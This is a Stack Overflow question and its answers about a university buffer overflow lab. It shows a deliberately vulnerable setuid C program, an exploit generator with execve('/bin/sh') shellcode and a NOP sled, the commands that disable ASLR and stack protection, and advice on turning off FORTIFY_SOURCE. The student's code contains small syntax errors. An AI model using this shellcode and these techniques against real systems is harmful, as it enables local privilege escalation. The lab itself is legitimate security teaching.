Buffer Overflow Vulnerability Lab problems

问题

I have a lab assignment that I am stuck on. Basically, I have to take advantage of a buffer overflow to generate a shell that has root privileges. I have to use 2 separate .c files. Here is the first one: stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];

    //BO Vulnerability
    strcpy(buffer,str);

    return 1;
}

int main(int argc, char* argv[])
{
    char str[517];

    FILE *badfile;
    badfile = fopen("badfile","r");

    fread(str, sizeof(char),517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

Here is the second one: exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

I can only modify the second one. Here are the changes I have made:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

I then executed the following from command line

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

However, while it does generate a "badfile" with actual data and a shell, said shell only has basic user privileges. Beforehand, I did execute the following in root:

echo 0 > /proc/sys/kernel/randomize_va_space

The Lab says I instead need to execute the following in root:

sysctl -w kernel.randomize_va_space=0

However, if I do that, then when I execute "stack", I get an "illegal instruction" error. Can someone help me out with this one?

回答1:

I figured out what the problem was. I had to link the zsh to /bin/bash/. I skipped that because I thought I only had to do that if I was using Fedora. I was using Ubuntu.

回答2:

 strcpy(buffer, str);

One of the things you will need to address during testing is this function call.

FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().

To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.

来源：https://stackoverflow.com/questions/14916004/buffer-overflow-vulnerability-lab-problems